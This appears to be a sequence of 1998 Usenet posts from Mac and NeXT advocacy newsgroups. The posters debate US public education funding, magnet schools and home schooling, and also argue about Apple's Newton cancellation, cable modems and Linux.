From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 16 Apr 1998 04:01:08 GMT
Organization: @Home Network
Message-ID: <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net>
<ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
<MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-1504981009550001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> In article <MPG.f9e0bd4339572849898ae@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> >In article <rmcassid-1404981222220001@dante.eng.uci.edu>,
> >rmcassid@uci.edu says...
> >> The biggest problem with education in the US right now is a lack of
> >> dollars.
[snip supporting stuff]
> >>
> >So it would seem, but pouring more money into systems just hasn't worked.
> >The public systems in the inner cities have had large amounts of money
> >given to them without any visible improvements.
>
> The money needs to be properly spent, of course. I don't think that it has
> so far. At the same time, there are forces inside the educational ranks
> that derail the efforts - like tenure, for example.
>
> >Private schools, OTOH, spend far less per pupil and do a much better job
> >of educating students (at least by the measures we're discussing here).
> >One point made about why this happens is that the public schools have to
> >handle the troublemakers and problem students. My response would be
> >"exactly". If you screw up in a private school, you're out of there and
> >there are real consequences. If you screw up in a public school, you
> >stay anyway.
>
> But private school works because by it's name and definition there is a
> much greater sense of importance and pride behind it. Private school is
> priviledged school. And the sacrifice is immediate and visible - a check
> that must be paid out every semester. Children know that and respond to
> it. Parents know that and encourage their children to show a return on
> that investment. Private schools also have other requirements that offset
> costs, so you can't accurately compare the two.
>
>
This is sound principle for how to improve education, go private. At the end
of the education you have two students both educated. You can accurately
compare the two, its done all the time. How silly...
> Dollars spend through taxation are neither immediate nor visible and hence
> we feel no need to return on that investment. It might be $1000 of my tax
> dollars but I have no way of knowing for sure. It could just as easily be
> $10. Should the govt. ever go for a simpler taxation system, I'd like to
> see a summary based on your previous years taxes of where your money was
> spent.
>
>
If you are asking for accountability, then absolutely. But that is difficult
to get teachers to sign on to. The NEA owns the mindshare of public education
and teachers fear their "pay stubs" if they venture off on their own.
> Public school does have a really bad case of lowest common denominator
> syndrome. The government mandates an education and therefore must provide
> one regardless of the motivation of the student. That is a service paid
> only to the poor student at the expense of the good student.
>
>
Its worse than that. The government has turned public education
infrastructure into social services bureaucracy. Schools nowdays mandate
nutrition programs, federally mandated desegragation, health services, sex
education, driver education, etc... The mission of schoolhouse learning has
been sadly converted to government programs in the name of schooling.
> >There's a growing Home Schooling trend, and the students there are
> >trouncing the public school students in the tests we're talking about.
> >Here in Iowa, some of the home schoolers wanted a high school degree from
> >the local school board, justifying it because the local schools did work
> >with the parents to approve the cirriculum and take standardized tests.
> >The school board turned them down, because the students "hadn't been
> >exposed to our school's diversity."
>
> My mom lives in Des Moines. What do you folks consider diversity? Almost
> everyone there is white and christian. Even Des Moines is 90% white (but
> nearly 1% are Laotian - interesting...)
>
> Anyhow. Home schooling demonstrates an even greater and more immediate
> sense of sacrifice toward education. Public schooling had this when
> children would have been missed in the household to perform certain
> duties. That doesn't exist anymore. If anything, school is a convenient
> place to put children so that parents can work. Rather than a sacrifice
> for the benefit of the children, it takes on the appearance of a sacrifice
> of the children for the benefit of the parents.
>
>
Its the price America has decided to pay to support the American economy.
Mothers, fathers and able bodied adults over the age of 18 years are sucked
into the Corporate Jobstream. We then must import alien nationals to rear our
young and hope that won't harm the growth and development of our young.
> That is a shame that the local board is so opposed to home schooling. The
> real reasons for the opposition is more likely that the school realizes
> that the best students would probably go into home schooling and the
> public school test scores would begin to drop. The school would get less
> funding and drive even more students out.
>
>
Its far more sinister... its a loss of "power".
> I like the concept of 'magnet' schools (that's what they call them out
> here). NYC has had the concept for some time which puts good students into
> specialized schools to break the lowest common denominator syndrome.
>
>
Magnet schools are the "type" of education my daughter received in Calif.
Talk about a political process...! We gave up and mainlined our child into
the regular classroom. It sets up a clear "class" mini-society in early
education. A false sense of "priviledge" and "accomplishment" infests the
"magnet" students. For those unfamiliar, magnet schools bus whole
under-priviledged populations across town on buses to "balance" educational
opportunity and minority discrimination. Within magnet schools a "heirarchy"
of classes address the intellectual needs of the student population. Its
politically correct to call them "regular", "someNameClass" and
"someProgramName" for the very high achievers. So we get Gate, Seminar at the
top, "Nova" type names for the "special" kids and everyone else gets the
regular education.
My daughter is the highest academic performing non-Seminar student 11th out
of 467 in HS. She is doing well because she saw that those with the most
choices - have the best chances of succeeding. She learned that those with
the best education - make better choices. In the US we bestow the most
choices on our most promising academic students. It didn't matter "what"
program or special class. It mattered what she did.
A good many of the special kids from the magnet school are struggling and the
brainy ones are excelling but at the price of being "cloistered" with the very
best teachers. Those not so lucky to have so much attention put into their
high achievement education simply fall through the cracks of the system in a
magnet school system. That's the way they work in UT, NY, IA and CA. I can't
speak to other states.
I do not advocate "magnet" schools.
> >The main problem with our schools, IMHO, is attitudinal. Society's
> >attitudes, in our confusion about what we want the schools to be.
If there is attitude and confusion it is on the part of your education system
and those charged with running it. Government is hell bent to putting an
otherwise good education system to work on their social programs.
> >Parental attitudes, in no longer emphasizing the importance of performing
> >well in schools and learning in order to build a future. Student's
> >attitudes, in no longer taking (in many cases) this incredible gift of a
> >free education seriously.
>
Quite frankly, I disagree as a parent. This "guilt" and "responsibility" is
just so much political BlueSmoke and Mirrors for an educational system rife
with mismanagement, mission creep and bureaucracy building.
> Agreed. Part of the problem is that it is perceived as free. If parents
> realized how much of their tax dollars went to public education, they
> might put a little more spirit behind things.
>
You haven't been putting your dollars into the tax system long enough if you
think parents see it as free, gratis. The real problem is that BabyBoomers
are going to hit the retirement roles and push education taxes way down to
save their retirement earnings.
> >If you have a sufficiently motivated student, nothing can stop him or her
> >from learning. Without that motivation, well, you can lead a horse to
> >water...
>
> True. But motivation doesn't come out of thin air. That motivation comes
> from somewhere - from parents, from the environment itself. If a school is
> rundown and the teachers are unmotivated, what does the student have to
> draw on for motivation?
>
> >It'd be nice if the solution was "just add money". There probably are
> >situations where more money is needed. But, unless we fix the underlying
> >problems, we'll be just throwing good money after bad.
>
>
Its called involvement and accountability. The current system has too little
of both. Kids are smart and pick-up cues quickly. They get the "score" and
"interest" in their education real early. They know when they have a shitty
teacher. The fact that there is no accountability and involvement sentences
them to whatever the "system" chooses to hand them. Fatalistic, cynical and
apathetic students are produced. Voila...
> I think dollars could help fix the most glaring problems (if properly
> spent, of course) and could provide a national feeling of importance
> behind an education. That sense of sacrifice needs to be there - we
> respond to it here in the US.
>
> >I know what spending money on the highways will get me (if spent well, at
> >least). I am not convinced that spending that money on education will
> >accomplish much. Not as things go along the way they are.
>
> Spending money on highways will get you more cars on highways requiring
> more money for highways. Highways and cars are a waste of money that is
> almost unbelivable in scope. If people were willing to put 20% of what
> they spend on cars into mass transit, we'd have a much better
> transportation infrastructure. But americans *love* their cars and they
> hate to invest, so waste waste waste...
>
> Indiscriminently spending money on education is bad - just like it is for
> anything else. But renewed attention to public education in the form of
> dollars in exchange for reform would probably go a very long way, IMO.
>
>
Money is always going to be a "choke point" in the decision process. But
unlike consumerism, money doesn't buy an education. Books, bricks and mortar
it buys. The magical process of motivated learning is a mix of "concern",
"committment", "patience", etc... on the part of those involved.
Community based education is working here in Calif. toward that end. Parents,
educators, administration and counselors share an equal responsibility for the
development of the learning curriculum. Interestingly the community values
become integral to the learning process. Parental involvement increases as
they are now "stake holders" in their childrens education. Teachers feel a
sharing of the responsibility and burden for educating kids. Administators
manage the resources and facilitate the process of educating. And counselors
achieve a balance point where the needs of the students can be met besides
one-on-one individual sessions.
Most of the jobs my daughter and these kids are going to be doing haven't even
been invented yet. It will be most interesting to see which systems yield the
highest percentage of our Future Leaders. I'm real concerned about a
"knowledge gap" as technology doubles speed every 18 mos. Even "home
education" can't address the needs of a society to have JITknowledge at this
pace. So clearly, there exists a need to get the world's best to society's
most promising.
-r
Rex Riley
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 16 Apr 1998 11:51:54 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6h4rcq$4fu@nrtphc11.bnr.ca>
References: <6gis4a$6j$3@anvil.BLaCKSMITH.com> <1998041514155201.KAA12306@ladder01.news.aol.com> <slrn6j96ol.je.jason@jhste1.dyn.ml.org>
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In article <353a7875.153476453@198.0.0.100> Nathan Hughes,
nhughes@sunflower.com writes:
>Speaking of Cable, if you are in an area with cable modem access, dump
>you modem and get hooked up to cable. I don't think I could stand
>going back to 33.6. I used get download speeds of about 7 minutes
>per meg, now I download at 30 seconds per meg. On top of that you
>never need to dial up and you get a dedicated address. All you need
>to use a cable modem is an ethernet card, no special software needed.
As soon as cable modem or DSL gets to my area, I plan to.
Matthew Cromer matthew_cromer@iname.com
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 16 Apr 1998 12:03:20 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6h4s28$575@nrtphc11.bnr.ca>
References: <6ghn2b$noq$1@usenet11.supernews.com> <6h46pj$m6$1@new-news.cc.brandeis.edu> <6h47vu$18b$1@new-news.cc.brandeis.edu> <B15B0A02-19BCA8@207.217.155.85>
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In article <rmcassid-1404981222220001@dante.eng.uci.edu> ,
rmcassid@uci.edu writes:
>The biggest problem with education in the US right now is a lack of
>dollars. If I could teach for what I make now (which isn't very much) I'd
>do it and I think a lot of other people would as well. But teaching isn't
>very rewarding when you can't afford housing. Education in the US has a
>lot of other problems as well, but dollars will solve some of the most
>destructive ones.
If money is the answer, then how come American education (much more
expensive than any other country) lags so many other countries all of
whom spend far less? Any why do we spend so much more today (in real
dollars) and get so much less for our money?
Matthew Cromer matthew_cromer@iname.com
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 16 Apr 1998 12:04:31 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6h4s4f$575@nrtphc11.bnr.ca>
References: <6ghn2b$noq$1@usenet11.supernews.com> <6h46pj$m6$1@new-news.cc.brandeis.edu> <6h47vu$18b$1@new-news.cc.brandeis.edu> <B15B0A02-19BCA8@207.217.155.85>
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In article <rmcassid-1404981222220001@dante.eng.uci.edu> ,
rmcassid@uci.edu writes:
>Consider that some 30% of all public schools in our nations capitol were
>deemed dangerous or unsuitable for occupation this past summer and
>couldn't open. When was the last time you heard of a post office or fire
>station being unsuitable for occupation?
DC, of course, has much higher spending per student than any state or
even city government.
Matthew Cromer matthew_cromer@iname.com
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 16 Apr 1998 12:29:15 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6h4tir$6hi@nrtphc11.bnr.ca>
References: <6ghn2b$noq$1@usenet11.supernews.com> <6h46pj$m6$1@new-news.cc.brandeis.edu> <6h47vu$18b$1@new-news.cc.brandeis.edu> <B15B0A02-19BCA8@207.217.155.85>
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In article <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net>
George Graves, gmgraves@slip.net writes:
>1) Cost. The cost of everything has risen all out of proportion to income.
> Everything is at least 10X more expensive than it was in 1960, yet
> personal income and the tax structure have grown only by about 5X.
> This results in a lower standard of living, not only for individuals but
> for institutions like schools as well.
Actually, the standard of living as measured by material consumption is
increasing tremendously--more automobiles per home, bigger TV sets, more
TV's, more electronic equipment, more computers, much bigger homes, more
homeownership, etc. Incomes are up faster than inflation. And real
prices for goods are declining.
Matthew Cromer matthew_cromer@iname.com
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 07:05:52 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3535F420.32659535@milestonerdl.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com> <3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net> <3534C720.3BACAC4@milestonerdl.com> <trev-1504981307100001@nas-sa-p7.usc.net>
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Trevor Zion Bauknight wrote:
> In article <3534C720.3BACAC4@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > I have YET to see anyone defend Apple that the way they treated the Newton
> > Development community was 'fair', 'just', or 'morally correct'.
>
> Products get cancelled all the time.
You bet products get canceled all the time. Not many vendors are your strategic
partners. That makes the Apple newton cancellation of bit different. Especially
when Apple was the only vendor of the product.
> Apple should probably fix that one
> hideous outstanding bug (it there's anyone there who can these days), but
> that's where I see the "moral" responsibility ending.
So telling your business partners not to worry you'll have newton's then canceling
the project one week later is moral?
> The Newton will
> continue to function, probably well past the time when Apple has a
> replacement product ready. I might not have cancelled a product without
> already having its replacement ready, but I'm not an expert on Apple's
> business end of things.
>
And how will apples new product address the market the message pad 2x00 addressed?
What develop or in their right mind would now pick Apple?
> > But if you are thinking of jumping on the Rhapsody bandwagon, look at
> how Apple
> > treated the Newton Developers and ask yourself if you want to be treated that
> > way.
>
> I see this as the difference between the future of Apple's central
> product, its OS, and the future of its incidental projects which were not
> doing well in the market. Big difference.
So you then are of the believe that past actions do not predict the future? I
maintain that apples past actions with respect to the newton development predicts
the future.
One time the Macintosh didn't do well in the market. The Apple ][ line supported
the Macintosh for a number of years. How soon you all forget history.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 08:29:29 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h4fh9$rom$1@ns3.vrx.net>
References: <6h2m8m$fbp$3@ns3.vrx.net> <B15AA766-2917F@207.217.155.85>
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Cc: brad@hutchings-software.com
In <B15AA766-2917F@207.217.155.85> "Brad Hutchings" claimed:
> I'd had it with "OpenStep does that" the second time I heard it. But I
> don't wish any serious failure/screwing on anyone, except Steve Jobs.
As far as I'm concerned a quote I heard last night says it all - "I still
think Steve is an increadible asshole, but now the emphasis is on
increadible". He's saving the company, like him or no.
Maury
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 16 Apr 1998 12:21:12 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6h4t3o$63q@nrtphc11.bnr.ca>
References: <6ghn2b$noq$1@usenet11.supernews.com> <6h46pj$m6$1@new-news.cc.brandeis.edu> <6h47vu$18b$1@new-news.cc.brandeis.edu> <B15B0A02-19BCA8@207.217.155.85>
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In article <EG2Z.30$p5.231928@news.itd.umich.edu> , not@my.address.net
writes:
>Let's be honest about the level of funding for inner city public schools.
>In a lot of cases the toilets are broken and they can't afford to fix them.
>I'm not saying money is the answer. I'm just saying let's be honest about
>what they've had to work with.
You might be interested to know that the DC public schools, widely
considered the worst in the nation, and many of them rat-traps, spends
$9,000+ per student per year.
Clearly the students are not seeing the benefits of that money--I expect
that the admininistrators and their cronies are driving porsches and
living in mansions.
Private schools manage to do much more with much less money, homeschool
works great too.
Matthew Cromer matthew_cromer@iname.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 08:37:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h4g11$rom$3@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1vtt$os8$15@ns3.vrx.net>
<6h38hk$dv6$1@flotsam.uits.indiana.edu> <6h2nsv$fbp$7@ns3.vrx.net>
<6h3nj2$frm$1@jetsam.uits.indiana.edu>
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Cc: glhansen@copper.ucs.indiana.edu
In <6h3nj2$frm$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> Sounds like you're in the know. What kind of work have you done?
You name it. I was employee #2 at my last job so I did all of the support
(via everything), sales, accounts receivable, shipping, product cutting,
everything! Fun, but it doesn't leave a lot of time for a life.
As the company grew I got pushed more and more into tech-only. That was OK
for a while because I knew my stuff, but answering phone calls all day long
is about as much fun as a root canal.
> What's DOA?
Dead on arrival. Actually if you can say one "for sure" thing about Gil,
Apple's DOA rate is one of the lowest in the industry, and he's to thank for
it.
> I would hope that even 20% to 30% for development means the company is
> doing MORE development when it gets bigger, and putting out more or bigger
> or better products.
You'd think that would happen, but it can't because of the resulting team
sizes and the fixed nature of the product lines. IE it might be possible to
develop app x with one person, but if you sell 1000000 copies you still need
yyy support people and zzz product line people (service, doc etc.).
Althought dev can be expensive (big HR costs) in terms of overall people in a
company it tends to be rather small in most boxware-companies.
Now this changes drastically in the case of e-companies. Lighthouse for
instance seems to have been mostly dev people. Unheard of for a company with
their sales (a figure that's amazing unto itself).
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 08:32:17 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h4fmh$rom$2@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
<6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM>
<6h2t8k$kco$2@ns3.vrx.net> <35356BF6.F3856C5F@nstar.net>
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Cc: mjpeck@nstar.net
In <35356BF6.F3856C5F@nstar.net> Michael Peck claimed:
> I think that any resistance that actually exists has been substantially
> overstated. For me and, I suspect, most others, the "free"-ness of Linux
> is most appealing in that it provides greater *accessibility*, not
> fulfillment of some socialistic dream (that the whole world might
> altruistically participate in a global computing commune)...
Ok. Do you think this is true in general?
> If Apple announced the intention to build a strong Linux presence that
> fostered the spirit of the existing community (not necessarily
> non-commercial), I bet the number of people coming out of the woodwork
> in support would startle you.
No, I think that building a OpenStep - on - Linux would do a lot better
than the current project, regardless of the fact that I think from the
technical standpoint it's not terribly strong (I really do think OSF/1 is the
way to go).
> recruitment. That's why they resist the idea of a Linux port of MSIE:
> they automatically assume that Microsoft's intentions would be to
> "assimilate" Linux, rather than to help it grow.
But can you blame them?!?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 16 Apr 1998 08:39:10 GMT
Organization: I used to be organized, then they canceled the Newton.
Distribution: world
Message-ID: <6h4g3e$rom$4@ns3.vrx.net>
References: <6gis4a$6j$3@anvil.BLaCKSMITH.com> <1998041514155201.KAA12306@ladder01.news.aol.com>
<slrn6j96ol.je.jason@jhste1.dyn.ml.org> <6h4rcq$4fu@nrtphc11.bnr.ca>
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Cc: matthew_cromer@iname.com
In <6h4rcq$4fu@nrtphc11.bnr.ca> Matthew Cromer claimed:
> In article <353a7875.153476453@198.0.0.100> Nathan Hughes,
> nhughes@sunflower.com writes:
> >Speaking of Cable, if you are in an area with cable modem access, dump
> >you modem and get hooked up to cable.
Sadly Rogers (the people who _invented_ cable) are the supplier in my area
and while they were one of the first people to test the systems I STILL can't
get it in my area - downtown Toronto! It's nuts!
Maury
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 23:52:26 -0500
Organization: CE Software
Message-ID: <MPG.f9f4a88904b40549898b5@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>
In article <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com>, rriley@yahoo.com
says...
> In <rmcassid-1504981009550001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> > In article <MPG.f9e0bd4339572849898ae@news.supernews.com>,
> > don.brown@cesoft.com (Donald Brown) wrote:
> >
> > >In article <rmcassid-1404981222220001@dante.eng.uci.edu>,
> > >rmcassid@uci.edu says...
> > Dollars spend through taxation are neither immediate nor visible and hence
> > we feel no need to return on that investment. It might be $1000 of my tax
> > dollars but I have no way of knowing for sure. It could just as easily be
> > $10. Should the govt. ever go for a simpler taxation system, I'd like to
> > see a summary based on your previous years taxes of where your money was
> > spent.
>
> If you are asking for accountability, then absolutely. But that is difficult
> to get teachers to sign on to. The NEA owns the mindshare of public education
> and teachers fear their "pay stubs" if they venture off on their own.
Some teachers, and the teachers' union. Most teachers are doing their
best in a weird situation. There also is the question of what they will
be held accountable too--Recent standards such as Goals 2000 have focused
more on fuzzy interpersonal skills like "conflict resolution" instead of
reading, writing, math, history, etc.
> > Public school does have a really bad case of lowest common denominator
> > syndrome. The government mandates an education and therefore must provide
> > one regardless of the motivation of the student. That is a service paid
> > only to the poor student at the expense of the good student.
>
> Its worse than that. The government has turned public education
> infrastructure into social services bureaucracy. Schools nowdays mandate
> nutrition programs, federally mandated desegragation, health services, sex
> education, driver education, etc... The mission of schoolhouse learning has
> been sadly converted to government programs in the name of schooling.
Absolutely. And, many of them make sense individually (as I am passed by
young drivers, I sometimes wish they spent more time in drivers ed), but
when put together, they drive out real learning.
> > >There's a growing Home Schooling trend, and the students there are
> > >trouncing the public school students in the tests we're talking about.
> > >Here in Iowa, some of the home schoolers wanted a high school degree from
> > >the local school board, justifying it because the local schools did work
> > >with the parents to approve the cirriculum and take standardized tests.
> > >The school board turned them down, because the students "hadn't been
> > >exposed to our school's diversity."
> >
> > My mom lives in Des Moines. What do you folks consider diversity? Almost
> > everyone there is white and christian. Even Des Moines is 90% white (but
> > nearly 1% are Laotian - interesting...)
> >
> > Anyhow. Home schooling demonstrates an even greater and more immediate
> > sense of sacrifice toward education. Public schooling had this when
> > children would have been missed in the household to perform certain
> > duties. That doesn't exist anymore. If anything, school is a convenient
> > place to put children so that parents can work. Rather than a sacrifice
> > for the benefit of the children, it takes on the appearance of a sacrifice
> > of the children for the benefit of the parents.
>
> Its the price America has decided to pay to support the American economy.
> Mothers, fathers and able bodied adults over the age of 18 years are sucked
> into the Corporate Jobstream. We then must import alien nationals to rear our
> young and hope that won't harm the growth and development of our young.
>
> > That is a shame that the local board is so opposed to home schooling. The
> > real reasons for the opposition is more likely that the school realizes
> > that the best students would probably go into home schooling and the
> > public school test scores would begin to drop. The school would get less
> > funding and drive even more students out.
>
> Its far more sinister... its a loss of "power".
Actually, the public schools get the funding as if the home schooled kids
were at school (which is part of the justification they use for why they
have veto power over the home school ciriculum).
<text on magnet school snipped because I know nothing of magnet schools>
> > >The main problem with our schools, IMHO, is attitudinal. Society's
> > >attitudes, in our confusion about what we want the schools to be.
>
> If there is attitude and confusion it is on the part of your education system
> and those charged with running it. Government is hell bent to putting an
> otherwise good education system to work on their social programs.
Yeah, but we can't blame it on Government on the part of "those running
it." We elect those varmits. School board elections have very low
turnouts, and when combined with other elections, many people leave the
school boards unvoted or just vote for the first person in the list.
And, when we hear about programs like "conflict resolution" "DARE" "sex
ed", we think "sounds good" and will often support them without looking
back at what the school is really supposed to do.
Incidently, I'm hopeful here--I think we're starting to realize that and
many are starting to take action.
> > >Parental attitudes, in no longer emphasizing the importance of performing
> > >well in schools and learning in order to build a future. Student's
> > >attitudes, in no longer taking (in many cases) this incredible gift of a
> > >free education seriously.
> >
>
> Quite frankly, I disagree as a parent. This "guilt" and "responsibility" is
> just so much political BlueSmoke and Mirrors for an educational system rife
> with mismanagement, mission creep and bureaucracy building.
I should have added the phrase "in some cases" to my attitudinal
problems. From what you said, I think you have great attitudes about
school. Unfortunately, this is not uniformally true.
There are far too many parents who just view education as the school's
problem and don't support it at home. Plus, when discipline problems
appear, there are too many parents who will back their children no matter
what, to the extent of bringing a lawyer when they're asked to come in to
the school to discuss a problem.
And I'm hopeful here too. I think I see changes along these attitudes
too.
> > Agreed. Part of the problem is that it is perceived as free. If parents
> > realized how much of their tax dollars went to public education, they
> > might put a little more spirit behind things.
>
> You haven't been putting your dollars into the tax system long enough if you
> think parents see it as free, gratis. The real problem is that BabyBoomers
> are going to hit the retirement roles and push education taxes way down to
> save their retirement earnings.
Disagree here. It's far too easy to have a disconnect between "I am
paying too much in taxes" and "Hey, free governmental services!"
> > >If you have a sufficiently motivated student, nothing can stop him or her
> > >from learning. Without that motivation, well, you can lead a horse to
> > >water...
> >
> > True. But motivation doesn't come out of thin air. That motivation comes
> > from somewhere - from parents, from the environment itself. If a school is
> > rundown and the teachers are unmotivated, what does the student have to
> > draw on for motivation?
> >
> > >It'd be nice if the solution was "just add money". There probably are
> > >situations where more money is needed. But, unless we fix the underlying
> > >problems, we'll be just throwing good money after bad.
> >
> >
>
> Its called involvement and accountability. The current system has too little
> of both. Kids are smart and pick-up cues quickly. They get the "score" and
> "interest" in their education real early. They know when they have a shitty
> teacher. The fact that there is no accountability and involvement sentences
> them to whatever the "system" chooses to hand them. Fatalistic, cynical and
> apathetic students are produced. Voila...
Exactly. Though, I will add some external problems too. Look at the
disdain "geek" are given. (Even now, when brain power is paying off
bigtime for some people, it's turned into a joking horror "you'll be
working for that geek".) In SOME inner cities, being educated is "acting
white".
> > I think dollars could help fix the most glaring problems (if properly
> > spent, of course) and could provide a national feeling of importance
> > behind an education. That sense of sacrifice needs to be there - we
> > respond to it here in the US.
> >
> > >I know what spending money on the highways will get me (if spent well, at
> > >least). I am not convinced that spending that money on education will
> > >accomplish much. Not as things go along the way they are.
> >
> > Spending money on highways will get you more cars on highways requiring
> > more money for highways. Highways and cars are a waste of money that is
> > almost unbelivable in scope. If people were willing to put 20% of what
> > they spend on cars into mass transit, we'd have a much better
> > transportation infrastructure. But americans *love* their cars and they
> > hate to invest, so waste waste waste...
> >
> > Indiscriminently spending money on education is bad - just like it is for
> > anything else. But renewed attention to public education in the form of
> > dollars in exchange for reform would probably go a very long way, IMO.
>
> Money is always going to be a "choke point" in the decision process. But
> unlike consumerism, money doesn't buy an education. Books, bricks and mortar
> it buys. The magical process of motivated learning is a mix of "concern",
> "committment", "patience", etc... on the part of those involved.
>
> Community based education is working here in Calif. toward that end. Parents,
> educators, administration and counselors share an equal responsibility for the
> development of the learning curriculum. Interestingly the community values
> become integral to the learning process. Parental involvement increases as
> they are now "stake holders" in their childrens education. Teachers feel a
> sharing of the responsibility and burden for educating kids. Administators
> manage the resources and facilitate the process of educating. And counselors
> achieve a balance point where the needs of the students can be met besides
> one-on-one individual sessions.
>
> Most of the jobs my daughter and these kids are going to be doing haven't even
> been invented yet. It will be most interesting to see which systems yield the
> highest percentage of our Future Leaders. I'm real concerned about a
> "knowledge gap" as technology doubles speed every 18 mos. Even "home
> education" can't address the needs of a society to have JITknowledge at this
> pace. So clearly, there exists a need to get the world's best to society's
> most promising.
True. Although, the technology is also making knowledge more accessible-
-the home schoolers are among the biggest consumers of quality
educational software and do a lot of work on the Internet.
These technologies will never REPLACE a good teacher. But, once the
student is reved up, ready to go, and has a clear task in mind, they can
be great to pursue them. The problem with the push to put computers and
the Internet in the school, is that without students ready to use it, the
Internet is just a place to go find dirty pictures.
Like I said, I'm feeling hopeful. I see more interest in this technology
in getting people want to learn enough to deal with it. I also wonder
about these tests that supposedly show we're so far behind. I don't know
what year Napoleon was defeated, nor do I care. If you want me to
calculate a square root (other than those of integers less than 13), I'm
going to grab my calculator. I think there are real weaknesses that need
to be addresed, but we may not be as bad off as we think.
Donald
From: Andre-John Mas <ama@fabre.act.qc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: The Newton [was Re: Apple developer program]
Date: Thu, 16 Apr 1998 09:28:15 -0500
Organization: Communications Accessibles Montreal, Quebec Canada
Message-ID: <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca>
